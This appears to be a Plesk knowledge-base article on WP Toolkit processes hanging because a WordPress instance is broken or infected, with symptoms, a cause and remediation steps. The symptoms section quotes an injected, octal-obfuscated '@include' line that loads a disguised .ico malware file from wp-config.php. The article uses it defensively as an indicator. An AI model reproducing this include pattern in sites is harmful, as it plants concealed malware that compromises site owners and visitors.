Low server performance: WP Toolkit processes spawned by UI/API/CLI are stuck

Symptoms

• The following processes with the long lifetime (for example, a cloning task of a WordPress instance initiated via WP Toolkit UI, CLI, or API) are stuck and consume a lot of CPU (up to 100%) or RAM (there can be one or more such processes):

  • In Plesk for Linux:

    # ps aux | grep safe_mode | grep -v grep
    
    user+ 812014 203.0.113.2 347652 21328 ? R 00:01 728:37 /opt/plesk/php/7.0/bin/php -d safe_mode=off -d display_errors=off -d opcache.enable_cli=off -d open_basedir= -c /var/www/vhosts/system/example.com/etc/php.ini /usr/local/psa/admin/plib/modules/wp-toolkit/vendor/wp-cli/wp-cli/bin/../php/boot-fs.php --path=/var/www/vhosts/example.com/httpdocs instance info --format=json --check-updates=true --quiet

  • In Plesk for Windows, similar processes can be found in the Task Manager (or Process Explorer).

• The following lines are found in the file wp-config.php, index.php or wp-settings.php in the domain's directory:

  # less /var/www/vhosts/example.com/instancename/wp-config.php
  
  /91169/
  @include "\057var\057www\057vho\163ts/\147gfd\056re/\154jkl\151uio\057wqw\151g/2\06018/\0604/.\1441cb\143786\056ico";
  /91169/

  Note: Use PHP Decode to decrypt the line above. It will return the location of the malware.

• The following error can be found in the file /var/log/plesk/panel.log:

  CONFIG_TEXT: ERR [extension/wp-toolkit] Unable to process WordPress instance #34.

• Plesk WP Toolkit fails to be opened with a 502 or 504 error.

• Attempt to change any setting at Plesk > Domains > example.com might take a long time and time out:

  PLESK_ERROR: This operation takes too long. Check the results in a few minutes.

Cause

Broken or compromised with malware WordPress instance affects WP Toolkit processes.

Resolution

As workaround:

1. Log into Plesk.

2. Detach broken or affected WordPress instances from the WP Toolkit:

   Go to Domains > example.com > WordPress, find the affected instance, click the button and click Detach:

   

3. Resolve the issue on a per-instance basis. It can be performed:

   • Manually by contacting the developer of the compromised website.

   • Automatically by using a web antivirus (for example, ImunifyAV (former name Revisium Antivirus) for Websites or VirusTotal Website Check).

4. Kill stuck processes:

   • In Plesk for Linux:

     Connect to the server using SSH and check whether or not there are some stuck processes still. Kill them in case they are:

     # ps aux | grep safe_mode | grep -v grep
     
     jdoe 812014 203.0.113.2 347652 21328 ? R 00:01 728:37 /opt/plesk/php/7.0/bin/php -d safe_mode=off -d display_errors=off -d opcache.enable_cli=off -d open_basedir= -c /var/www/vhosts/system/example.com/etc/php.ini /usr/local/psa/admin/plib/modules/wp-toolkit/vendor/wp-cli/wp-cli/bin/../php/boot-fs.php --path=/var/www/vhosts/example.com/httpdocs instance info --format=json --check-updates=true --quiet
     
     # kill -9 812014

   • For Windows:

     Connect to the server using RDP, open Task Manager, kill stuck processes by right-clicking on them and selecting End Task.

5. After the WordPress instances are clean from malicious scripts, reattach the instance to WP Toolkit by running Scan in Plesk > WordPress.